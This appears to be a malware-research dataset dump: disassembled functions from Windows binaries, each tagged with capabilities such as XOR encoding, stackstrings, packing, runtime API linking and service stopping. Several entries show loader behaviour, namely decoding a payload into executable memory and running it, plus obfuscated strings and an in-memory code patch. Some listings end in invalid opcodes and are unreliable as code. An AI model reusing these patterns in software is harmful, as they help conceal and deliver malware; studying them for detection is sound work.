joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10035bb0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1008ba4c]
test eax, eax
jne 0x10035c19
push dword [0x1008a930]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10035c19
push esi
push 0x16c
call fcn.10055e70
add esp, 4
test eax, eax
je 0x10035be6
mov ecx, eax
call fcn.10055e70
mov esi, eax
jmp 0x10035be8
xor esi, esi
cmp byte [0x1008ba48], 0
jne 0x10035c02
mov ecx, esi
mov dword [0x1008ba4c], esi
call fcn.1001d780
mov eax, esi
pop esi
ret
push esi
push dword [0x1008a930]
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.1001d780
mov eax, esi
pop esi
ret

Function at 0x10035c20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1008a930]
cmp eax, 0xffffffff
je 0x10035c76
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10035c67
mov ecx, dword [0x1008ba4c]
xor eax, eax
cmp esi, ecx
cmove ecx, eax
mov dword [0x1008ba4c], ecx
mov ecx, esi
call fcn.1001d7b0
mov ecx, esi
call fcn.1001d750
push 0x16c
push esi
call fcn.10055e70
add esp, 8
push 0
push dword [0x1008a930]
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret

Function at 0x10055e70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10055e7f
pop dword [ebp - 0x50]
mov eax, 0x10055e7f
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xe9c5ec94
sub dword [ebp - 0x60], 0x9b73a749
mov dword [ebp - 0x5c], 0x30143953
sub dword [ebp - 0x5c], 0xfde0ed0e
mov dword [ebp - 0x58], 0x17662b22
add dword [ebp - 0x58], 0x34e6190c
mov dword [ebp - 0x54], 0xdc6302bf
add dword [ebp - 0x54], 0x239cfd41
lea eax, [ebp - 0x60]
push eax
mov eax, 0xc84f080c
add eax, 0x47b7280c
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xa9cffac1
sub dword [ebp - 0x60], 0x355d916b
mov dword [ebp - 0x5c], 0xce530aa0
add dword [ebp - 0x5c], 0x731956d5
mov dword [ebp - 0x58], 0x610c2898
sub dword [ebp - 0x58], 0xfd9cbc2c
mov dword [ebp - 0x54], 0xb16821d
add dword [ebp - 0x54], 0xf4e97de3
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x56a2f
push 0
call eax
mov ecx, 0x635a698d
add ecx, 0x9ca5e8a7
xor edi, edi
add edi, eax
mov edx, 0x10098600
add edx, dword [ebp - 0x50]
mov esi, 0xb3465c4b
add dword [ebp - 0x2c], 0x309161fb
mov ebx, dword [edx]
xor dword [ebp - 0x40], 0x8b03a405
xor ebx, esi
mov dword [edi], ebx
add edi, 0x14582bc1
add edi, 0xeba7d443
add edx, 0x8865f019
sub edx, 0x8865f015
loop 0x10055f8d
add eax, 0x72ce3b82
add eax, 0x8d330021
mov ebx, eax
add eax, 0xde7d177a
sub eax, 0xde7d1775
mov ecx, 0xdc62ce6e
sub ecx, 0xcc62ce6e
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41b004]
jne 0x40100a
repz ret
jmp fcn.004019eb

Function at 0x406948
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040256b
and dword [ebp - 4], 0
cmp dword [0x41d264], 0
mov ebx, eax
jne 0x4069f9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406aaa
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406aaa
push eax
call fcn.004024f9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41d264], eax
call esi
push eax
call fcn.004024f9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41d268], eax
call esi
push eax
call fcn.004024f9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41d26c], eax
call esi
push eax
call fcn.004024f9
pop ecx
mov dword [0x41d274], eax
test eax, eax
je 0x4069f9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024f9
pop ecx
mov dword [0x41d270], eax
mov eax, dword [0x41d270]
cmp eax, ebx
je 0x406a51
cmp dword [0x41d274], ebx
je 0x406a51
push eax
call fcn.00402574
push dword [0x41d274]
mov esi, eax
call fcn.00402574
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406a51
test edi, edi
je 0x406a51
call esi
test eax, eax
je 0x406a48
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406a48
test byte [ebp - 0xc], 1
jne 0x406a51
or dword [ebp + 0x10], 0x200000
jmp 0x406a8a
mov eax, dword [0x41d268]
cmp eax, ebx
je 0x406a8a
push eax
call fcn.00402574
pop ecx
test eax, eax
je 0x406a8a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406a8a
mov eax, dword [0x41d26c]
cmp eax, ebx
je 0x406a8a
push eax
call fcn.00402574
pop ecx
test eax, eax
je 0x406a8a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41d264]
call fcn.00402574
pop ecx
test eax, eax
je 0x406aaa
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406aac
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41772d
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
test ebx, ebx
jle 0x41778a
and dword [ebp - 0x808], 0
lea ecx, [ebp - 0x808]
call fcn.00417725
mov al, byte [ebp - 0x808]
xor byte [edi + esi], al
cmp ebx, 0xf
jne 0x417785
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
inc esi
cmp esi, ebx
jl 0x417747
pop esi
cmp ebx, 0x2d
jne 0x4177a1
or dword [0x270539c], 0xffffffff
mov dword [0x2705398], 0xa62e7790
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
leave
ret
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x422a08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x4162b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x4162ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4162d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4162c0
mov eax, 1
add ebx, ebx
jne 0x4162e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4162d8
jne 0x4162f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4162d8
xor ecx, ecx
sub eax, 3
jb 0x416308
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41637a
mov ebp, eax
add ebx, ebx
jne 0x416313
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x416344
inc ecx
add ebx, ebx
jne 0x416330
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x416325
jne 0x416341
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416325
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x416364
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x416355
jmp 0x4162c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x416364
add edi, ecx
jmp 0x4162c6
pop esi
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x4163c3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x16000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1606c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x416381
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16074]
or eax, eax
je 0x4163bd
mov dword [ebx], eax
add ebx, 4
jmp 0x41639e
call dword [esi + 0x16070]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4163f4
cmp al, 0xef
ja 0x4163e7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4163c9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4163d6
mov ebp, dword [esi + 0x16078]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x416428
sub esp, 0xffffff80
jmp 0x405dd2
Function at 0x402899
Capabilities:
Clear file content
Get common file path
Get keyboard layout

Disassembly:
sub esp, 0x800
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, 0x58ce99d
jg 0x4028bd
inc edi
cmp edi, 0x1f6502b0
jl 0x4028a5
cmp dword [0x2c0ea9c], 0x400
jne 0x402912
push str.Natipesun_subuguketevam_jutivotitag_roto_jam
push str.Ximoniwek
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeCmpStringHandles]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
push str.yogihubuwefugus
push esi
call fcn.00402f48
push esi
push esi
push esi
call fcn.00402f18
push esi
push esi
call fcn.00402d34
push esi
call fcn.0040318c
push esi
call fcn.0040319b
add esp, 0x24
xor edi, edi
cmp edi, 0xd0fe
jge 0x402923
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
cmp edi, 0x3a37ee
jg 0x40294a
inc edi
cmp edi, 0xe52f
jl 0x402914
mov eax, dword [0x4502d4]
mov dword [0x2c0ea9c], eax
call fcn.004025e3
mov edi, 0x3078f
cmp dword [0x2c0ea9c], 0x51f
jne 0x402976
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x40295e
pop edi
xor eax, eax
pop esi
add esp, 0x800
ret 0x10

Function at 0x408ee7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44f410]
jne 0x408ef1
repz ret
jmp fcn.0040b930
Function at 0x409f5f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44f410]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406881
and dword [ebp - 0x14], 0
cmp dword [0x45ae68], 0
mov dword [ebp - 0x18], eax
jne 0x40a012
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40a0ba
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40a0ba
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x45ae68], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x45ae6c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x45ae70], eax
call edi
push eax
call esi
mov dword [0x45ae78], eax
test eax, eax
je 0x40a012
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x45ae74], eax
mov eax, dword [0x45ae74]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40a06b
cmp dword [0x45ae78], ecx
je 0x40a06b
push eax
call esi
push dword [0x45ae78]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40a06b
test ebx, ebx
je 0x40a06b
call edi
test eax, eax
je 0x40a062
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40a062
test byte [ebp - 8], 1
jne 0x40a06b
or dword [ebp + 0x10], 0x200000
jmp 0x40a09e
mov eax, dword [0x45ae6c]
cmp eax, dword [ebp - 0x18]
je 0x40a09e
push eax
call esi
test eax, eax
je 0x40a09e
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40a09e
mov eax, dword [0x45ae70]
cmp eax, dword [ebp - 0x18]
je 0x40a09e
push eax
call esi
test eax, eax
je 0x40a09e
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45ae68]
call esi
test eax, eax
je 0x40a0ba
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40a0bc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408ee7
leave
ret
Function at 0x401f00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
call fcn.004012e0
push 0x4ee61051
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x23c], eax
push 0x384977d3
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.00401100
add esp, 8
mov dword [ebp - 0x238], eax
push 0x7f8a
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
push eax
call dword [ebp - 0x238]
call fcn.00401ba0
call fcn.00401350
push 0x660c1c02
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x240], eax
push 0x104
lea edx, [ebp - 0x220]
push edx
push 0
call dword [ebp - 0x240]
push 0x214c6981
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x224], eax
push 0x104
lea eax, [ebp - 0x118]
push eax
call dword [ebp - 0x224]
mov byte [ebp - 0x234], 0x5c
mov byte [ebp - 0x233], 0x5c
mov byte [ebp - 0x232], 0x73
mov byte [ebp - 0x231], 0x79
mov byte [ebp - 0x230], 0x73
mov byte [ebp - 0x22f], 0x74
mov byte [ebp - 0x22e], 0x65
mov byte [ebp - 0x22d], 0x6d
mov byte [ebp - 0x22c], 0x2e
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x78
mov byte [ebp - 0x229], 0x65
mov byte [ebp - 0x228], 0
lea ecx, [ebp - 0x234]
push ecx
lea edx, [ebp - 0x118]
push edx
call fcn.00401270
add esp, 8
push 1
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x220]
push ecx
call dword [ebp - 0x10]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x404393
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403271
and dword [ebp - 4], 0
cmp dword [0x424860], 0
mov ebx, eax
jne 0x404444
push 0x409870
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4044f5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x409864
push edi
call esi
test eax, eax
je 0x4044f5
push eax
call fcn.004031ff
mov dword [esp], 0x409854
push edi
mov dword [0x424860], eax
call esi
push eax
call fcn.004031ff
mov dword [esp], 0x409840
push edi
mov dword [0x424864], eax
call esi
push eax
call fcn.004031ff
mov dword [esp], 0x409824
push edi
mov dword [0x424868], eax
call esi
push eax
call fcn.004031ff
pop ecx
mov dword [0x424870], eax
test eax, eax
je 0x404444
push 0x40980c
push edi
call esi
push eax
call fcn.004031ff
pop ecx
mov dword [0x42486c], eax
mov eax, dword [0x42486c]
cmp eax, ebx
je 0x40449c
cmp dword [0x424870], ebx
je 0x40449c
push eax
call fcn.0040327a
push dword [0x424870]
mov esi, eax
call fcn.0040327a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40449c
test edi, edi
je 0x40449c
call esi
test eax, eax
je 0x404493
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404493
test byte [ebp - 0xc], 1
jne 0x40449c
or dword [ebp + 0x10], 0x200000
jmp 0x4044d5
mov eax, dword [0x424864]
cmp eax, ebx
je 0x4044d5
push eax
call fcn.0040327a
pop ecx
test eax, eax
je 0x4044d5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4044d5
mov eax, dword [0x424868]
cmp eax, ebx
je 0x4044d5
push eax
call fcn.0040327a
pop ecx
test eax, eax
je 0x4044d5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x424860]
call fcn.0040327a
pop ecx
test eax, eax
je 0x4044f5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4044f7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40616e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40b9f8]
jne 0x406178
repz ret
jmp fcn.00407895
Function at 0x417c65
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor eax, eax
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov ecx, 0x20000004
mov dword [ebp - 4], edi
cmp dword [ebp + 8], edi
je 0x417cf0
lea eax, [ebp - 4]
push eax
push 0x1a
call fcn.00417bb8
mov esi, eax
cmp esi, edi
jge 0x417c9b
push str.Failed_to_allocate_administrator_SID.
jmp 0x417ce1
push 2
push 8
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
jne 0x417ceb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, edi
jle 0x417cc1
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
cmp esi, edi
jl 0x417ccc
mov esi, 0x80004005
push esi
push 0x5cc
push str.cache.cpp
call fcn.00432f06
push str.Failed_to_initialize_ACL.
push esi
call fcn.00430126
pop ecx
pop ecx
jmp 0x417d1b
mov ecx, 0x20000005
push 0x7d0
push 3
push edi
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp - 4]
push ecx
push 1
push dword [ebp + 0xc]
call fcn.0043013a
push 0x80
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp - 4], edi
je 0x417d28
push dword [ebp - 4]
call fcn.00432aae
pop edi
mov eax, esi
pop esi
leave
ret 8

Function at 0x41ee2a
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x456130]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
push 1
push edx
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x41ee95
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x41ee6d
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
test esi, esi
js 0x41ee78
mov esi, 0x80004005
push esi
push 0x1ef
push str.msuengine.cpp
call fcn.00432f06
push str.Failed_to_stop_wusa_service.
push esi
call fcn.00430126
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042854a
leave
ret
Function at 0x431729
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x431732
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x431750
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x4317ae
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x431795
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x43179e
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x4317a8
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x43178a
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x431714
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x4317fb
dec eax
je 0x4317f2
sub eax, 3
je 0x4317e9
mov dword [ebp - 4], 0x40
jmp 0x431818
mov dword [ebp - 4], 4
jmp 0x4317fe
mov dword [ebp - 4], 0x20
jmp 0x4317fe
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x43184a
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x4317ca
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0043105b
xchg ebx, eax
mov dl, 0x84
jle 0x43183e
push dword [ebp + 0x14]
jne 0x431855
push 1
push esi
call edi
mov eax, esi
jmp 0x431856
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
rcr byte [edi + 0x5e], 0x5b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4318dd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc eax
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0043106b
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00431020
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
sub eax, esi
test dword [esp + edi*8 - 1], eax
dec dword [ecx]
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0043106b
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00431020
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
invalid
movsd dword es:[edi], dword [esi]
pop ss

Function at 0x431d60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.0043106b
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00431020
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.0043105b
in al, 0xd
fimul dword [edi - 1]
mov ch, 0x68
stc
invalid